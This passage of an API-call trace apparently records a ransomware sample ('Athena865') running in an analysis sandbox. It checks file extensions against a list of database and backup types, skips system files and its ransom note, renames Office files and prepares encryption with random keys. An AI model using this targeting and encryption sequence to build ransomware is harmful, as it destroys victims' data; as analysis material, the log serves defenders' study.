lpString2="fcd") returned -1 [0137.848] lstrlenW (lpString="fdb") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0137.848] lstrlenW (lpString="fic") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0137.848] lstrlenW (lpString="flexolibrary") returned 12 [0137.848] lstrlenW (lpString="fm5") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0137.848] lstrlenW (lpString="fmp") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0137.848] lstrlenW (lpString="fmp12") returned 5 [0137.848] lstrcmpiW (lpString1="0.DLL", lpString2="fmp12") returned -1 [0137.848] lstrlenW (lpString="fmpsl") returned 5 [0137.848] lstrcmpiW (lpString1="0.DLL", lpString2="fmpsl") returned -1 [0137.848] lstrlenW (lpString="fol") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0137.848] lstrlenW (lpString="fp3") returned 3 [0137.848] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0137.848] lstrlenW (lpString="fp4") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0137.849] lstrlenW (lpString="fp5") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0137.849] lstrlenW (lpString="fp7") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0137.849] lstrlenW (lpString="fpt") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0137.849] lstrlenW (lpString="frm") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0137.849] lstrlenW (lpString="gdb") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0137.849] lstrlenW (lpString="gdb") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0137.849] lstrlenW (lpString="grdb") returned 4 [0137.849] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0137.849] lstrlenW (lpString="gwi") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0137.849] lstrlenW (lpString="hdb") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0137.849] lstrlenW (lpString="his") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0137.849] lstrlenW (lpString="ib") returned 2 [0137.849] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0137.849] lstrlenW (lpString="idb") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0137.849] lstrlenW (lpString="ihx") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0137.849] lstrlenW (lpString="itdb") returned 4 [0137.849] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0137.849] lstrlenW (lpString="itw") returned 3 [0137.849] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0137.850] lstrlenW (lpString="jet") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0137.850] lstrlenW (lpString="jtx") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0137.850] lstrlenW (lpString="kdb") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0137.850] lstrlenW (lpString="kexi") returned 4 [0137.850] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0137.850] lstrlenW (lpString="kexic") returned 5 [0137.850] lstrcmpiW (lpString1="0.DLL", lpString2="kexic") returned -1 [0137.850] lstrlenW (lpString="kexis") returned 5 [0137.850] lstrcmpiW (lpString1="0.DLL", lpString2="kexis") returned -1 [0137.850] lstrlenW (lpString="lgc") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0137.850] lstrlenW (lpString="lwx") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0137.850] lstrlenW (lpString="maf") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0137.850] lstrlenW (lpString="maq") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0137.850] lstrlenW (lpString="mar") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0137.850] lstrlenW (lpString="marshal") returned 7 [0137.850] lstrcmpiW (lpString1="T10.DLL", lpString2="marshal") returned 1 [0137.850] lstrlenW (lpString="mas") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0137.850] lstrlenW (lpString="mav") returned 3 [0137.850] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0137.850] lstrlenW (lpString="maw") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0137.851] lstrlenW (lpString="mdbhtml") returned 7 [0137.851] lstrcmpiW (lpString1="T10.DLL", lpString2="mdbhtml") returned 1 [0137.851] lstrlenW (lpString="mdn") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0137.851] lstrlenW (lpString="mdt") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0137.851] lstrlenW (lpString="mfd") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0137.851] lstrlenW (lpString="mpd") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0137.851] lstrlenW (lpString="mrg") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0137.851] lstrlenW (lpString="mud") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0137.851] lstrlenW (lpString="mwb") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0137.851] lstrlenW (lpString="myd") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0137.851] lstrlenW (lpString="ndf") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0137.851] lstrlenW (lpString="nnt") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0137.851] lstrlenW (lpString="nrmlib") returned 6 [0137.851] lstrcmpiW (lpString1="10.DLL", lpString2="nrmlib") returned -1 [0137.851] lstrlenW (lpString="ns2") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0137.851] lstrlenW (lpString="ns3") returned 3 [0137.851] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0137.852] lstrlenW (lpString="ns4") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0137.852] lstrlenW (lpString="nsf") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0137.852] lstrlenW (lpString="nv") returned 2 [0137.852] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0137.852] lstrlenW (lpString="nv2") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0137.852] lstrlenW (lpString="nwdb") returned 4 [0137.852] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0137.852] lstrlenW (lpString="nyf") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0137.852] lstrlenW (lpString="odb") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0137.852] lstrlenW (lpString="odb") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0137.852] lstrlenW (lpString="oqy") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0137.852] lstrlenW (lpString="ora") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0137.852] lstrlenW (lpString="orx") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0137.852] lstrlenW (lpString="owc") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0137.852] lstrlenW (lpString="p96") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0137.852] lstrlenW (lpString="p97") returned 3 [0137.852] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0137.852] lstrlenW (lpString="pan") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0137.853] lstrlenW (lpString="pdb") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0137.853] lstrlenW (lpString="pdm") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0137.853] lstrlenW (lpString="pnz") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0137.853] lstrlenW (lpString="qry") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0137.853] lstrlenW (lpString="qvd") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0137.853] lstrlenW (lpString="rbf") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0137.853] lstrlenW (lpString="rctd") returned 4 [0137.853] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0137.853] lstrlenW (lpString="rod") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0137.853] lstrlenW (lpString="rodx") returned 4 [0137.853] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0137.853] lstrlenW (lpString="rpd") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0137.853] lstrlenW (lpString="rsd") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0137.853] lstrlenW (lpString="sas7bdat") returned 8 [0137.853] lstrcmpiW (lpString1="AT10.DLL", lpString2="sas7bdat") returned -1 [0137.853] lstrlenW (lpString="sbf") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0137.853] lstrlenW (lpString="scx") returned 3 [0137.853] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0137.853] lstrlenW (lpString="sdb") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0137.854] lstrlenW (lpString="sdc") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0137.854] lstrlenW (lpString="sdf") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0137.854] lstrlenW (lpString="sis") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0137.854] lstrlenW (lpString="spq") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0137.854] lstrlenW (lpString="te") returned 2 [0137.854] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0137.854] lstrlenW (lpString="teacher") returned 7 [0137.854] lstrcmpiW (lpString1="T10.DLL", lpString2="teacher") returned -1 [0137.854] lstrlenW (lpString="tmd") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0137.854] lstrlenW (lpString="tps") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0137.854] lstrlenW (lpString="trc") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0137.854] lstrlenW (lpString="trc") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0137.854] lstrlenW (lpString="trm") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0137.854] lstrlenW (lpString="udb") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0137.854] lstrlenW (lpString="udl") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0137.854] lstrlenW (lpString="usr") returned 3 [0137.854] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0137.854] lstrlenW (lpString="v12") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0137.855] lstrlenW (lpString="vis") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0137.855] lstrlenW (lpString="vpd") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0137.855] lstrlenW (lpString="vvv") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0137.855] lstrlenW (lpString="wdb") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0137.855] lstrlenW (lpString="wmdb") returned 4 [0137.855] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0137.855] lstrlenW (lpString="wrk") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0137.855] lstrlenW (lpString="xdb") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0137.855] lstrlenW (lpString="xld") returned 3 [0137.855] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0137.855] lstrlenW (lpString="xmlff") returned 5 [0137.855] lstrcmpiW (lpString1="0.DLL", lpString2="xmlff") returned -1 [0137.855] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.Athena865") returned 71 [0137.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.athena865"), dwFlags=0x1) returned 1 [0137.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0137.857] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15776) returned 1 [0137.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.858] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.858] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.858] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.859] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40a0, lpName=0x0) returned 0x154 [0137.860] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40a0) returned 0x100000 [0137.862] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.862] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.862] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0137.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0137.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.863] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.863] CloseHandle (hObject=0x154) returned 1 [0137.863] CloseHandle (hObject=0x17c) returned 1 [0137.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.864] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2=".") returned 1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="..") returned 1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="windows") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="bootmgr") returned 1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="temp") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="pagefile.sys") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="boot") returned 1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="ids.txt") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="ntuser.dat") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="perflogs") returned -1 [0137.864] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="MSBuild") returned -1 [0137.864] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0137.864] lstrcpyW (in: lpString1=0x241e8aa, lpString2="CAGCAT10.MMW" | out: lpString1="CAGCAT10.MMW") returned="CAGCAT10.MMW" [0137.864] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0137.864] lstrlenW (lpString="Athena865") returned 9 [0137.864] lstrcmpiW (lpString1="CAT10.MMW", lpString2="Athena865") returned 1 [0137.865] lstrlenW (lpString=".dll") returned 4 [0137.865] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2=".dll") returned 1 [0137.865] lstrlenW (lpString=".lnk") returned 4 [0137.865] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2=".lnk") returned 1 [0137.865] lstrlenW (lpString=".ini") returned 4 [0137.865] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2=".ini") returned 1 [0137.865] lstrlenW (lpString=".sys") returned 4 [0137.865] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2=".sys") returned 1 [0137.865] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0137.865] lstrlenW (lpString="bak") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="bak") returned 1 [0137.865] lstrlenW (lpString="ba_") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="ba_") returned 1 [0137.865] lstrlenW (lpString="dbb") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="dbb") returned 1 [0137.865] lstrlenW (lpString="vmdk") returned 4 [0137.865] lstrcmpiW (lpString1=".MMW", lpString2="vmdk") returned -1 [0137.865] lstrlenW (lpString="rar") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="rar") returned -1 [0137.865] lstrlenW (lpString="zip") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="zip") returned -1 [0137.865] lstrlenW (lpString="tgz") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="tgz") returned -1 [0137.865] lstrlenW (lpString="vbox") returned 4 [0137.865] lstrcmpiW (lpString1=".MMW", lpString2="vbox") returned -1 [0137.865] lstrlenW (lpString="vdi") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="vdi") returned -1 [0137.865] lstrlenW (lpString="vhd") returned 3 [0137.865] lstrcmpiW (lpString1="MMW", lpString2="vhd") returned -1 [0137.865] lstrlenW (lpString="vhdx") returned 4 [0137.865] lstrcmpiW (lpString1=".MMW", lpString2="vhdx") returned -1 [0137.866] lstrlenW (lpString="avhd") returned 4 [0137.866] lstrcmpiW (lpString1=".MMW", lpString2="avhd") returned -1 [0137.866] lstrlenW (lpString="db") returned 2 [0137.866] lstrcmpiW (lpString1="MW", lpString2="db") returned 1 [0137.866] lstrlenW (lpString="db2") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="db2") returned 1 [0137.866] lstrlenW (lpString="db3") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="db3") returned 1 [0137.866] lstrlenW (lpString="dbf") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="dbf") returned 1 [0137.866] lstrlenW (lpString="mdf") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="mdf") returned 1 [0137.866] lstrlenW (lpString="mdb") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="mdb") returned 1 [0137.866] lstrlenW (lpString="sql") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="sql") returned -1 [0137.866] lstrlenW (lpString="sqlite") returned 6 [0137.866] lstrcmpiW (lpString1="10.MMW", lpString2="sqlite") returned -1 [0137.866] lstrlenW (lpString="sqlite3") returned 7 [0137.866] lstrcmpiW (lpString1="T10.MMW", lpString2="sqlite3") returned 1 [0137.866] lstrlenW (lpString="sqlitedb") returned 8 [0137.866] lstrcmpiW (lpString1="AT10.MMW", lpString2="sqlitedb") returned -1 [0137.866] lstrlenW (lpString="xml") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="xml") returned -1 [0137.866] lstrlenW (lpString="$er") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="$er") returned 1 [0137.866] lstrlenW (lpString="4dd") returned 3 [0137.866] lstrcmpiW (lpString1="MMW", lpString2="4dd") returned 1 [0137.866] lstrlenW (lpString="4dl") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="4dl") returned 1 [0137.867] lstrlenW (lpString="^^^") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="^^^") returned 1 [0137.867] lstrlenW (lpString="abs") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="abs") returned 1 [0137.867] lstrlenW (lpString="abx") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="abx") returned 1 [0137.867] lstrlenW (lpString="accdb") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accdb") returned -1 [0137.867] lstrlenW (lpString="accdc") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accdc") returned -1 [0137.867] lstrlenW (lpString="accde") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accde") returned -1 [0137.867] lstrlenW (lpString="accdr") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accdr") returned -1 [0137.867] lstrlenW (lpString="accdt") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accdt") returned -1 [0137.867] lstrlenW (lpString="accdw") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accdw") returned -1 [0137.867] lstrlenW (lpString="accft") returned 5 [0137.867] lstrcmpiW (lpString1="0.MMW", lpString2="accft") returned -1 [0137.867] lstrlenW (lpString="adb") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="adb") returned 1 [0137.867] lstrlenW (lpString="adb") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="adb") returned 1 [0137.867] lstrlenW (lpString="ade") returned 3 [0137.867] lstrcmpiW (lpString1="MMW", lpString2="ade") returned 1 [0137.867] lstrlenW (lpString="adf") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="adf") returned 1 [0137.868] lstrlenW (lpString="adn") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="adn") returned 1 [0137.868] lstrlenW (lpString="adp") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="adp") returned 1 [0137.868] lstrlenW (lpString="alf") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="alf") returned 1 [0137.868] lstrlenW (lpString="ask") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="ask") returned 1 [0137.868] lstrlenW (lpString="btr") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="btr") returned 1 [0137.868] lstrlenW (lpString="cat") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="cat") returned 1 [0137.868] lstrlenW (lpString="cdb") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="cdb") returned 1 [0137.868] lstrlenW (lpString="ckp") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="ckp") returned 1 [0137.868] lstrlenW (lpString="cma") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="cma") returned 1 [0137.868] lstrlenW (lpString="cpd") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="cpd") returned 1 [0137.868] lstrlenW (lpString="dacpac") returned 6 [0137.868] lstrcmpiW (lpString1="10.MMW", lpString2="dacpac") returned -1 [0137.868] lstrlenW (lpString="dad") returned 3 [0137.868] lstrcmpiW (lpString1="MMW", lpString2="dad") returned 1 [0137.868] lstrlenW (lpString="dadiagrams") returned 10 [0137.868] lstrcmpiW (lpString1="GCAT10.MMW", lpString2="dadiagrams") returned 1 [0137.868] lstrlenW (lpString="daschema") returned 8 [0137.868] lstrcmpiW (lpString1="AT10.MMW", lpString2="daschema") returned -1 [0137.869] lstrlenW (lpString="db-journal") returned 10 [0137.869] lstrcmpiW (lpString1="GCAT10.MMW", lpString2="db-journal") returned 1 [0137.869] lstrlenW (lpString="db-shm") returned 6 [0137.869] lstrcmpiW (lpString1="10.MMW", lpString2="db-shm") returned -1 [0137.869] lstrlenW (lpString="db-wal") returned 6 [0137.869] lstrcmpiW (lpString1="10.MMW", lpString2="db-wal") returned -1 [0137.869] lstrlenW (lpString="dbc") returned 3 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dbc") returned 1 [0137.869] lstrlenW (lpString="dbs") returned 3 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dbs") returned 1 [0137.869] lstrlenW (lpString="dbt") returned 3 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dbt") returned 1 [0137.869] lstrlenW (lpString="dbv") returned 3 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dbv") returned 1 [0137.869] lstrlenW (lpString="dbx") returned 3 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dbx") returned 1 [0137.869] lstrlenW (lpString="dcb") returned 3 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dcb") returned 1 [0137.869] lstrcmpiW (lpString1="MMW", lpString2="dct") returned 1 [0137.869] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.Athena865") returned 71 [0137.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="C:\\Program 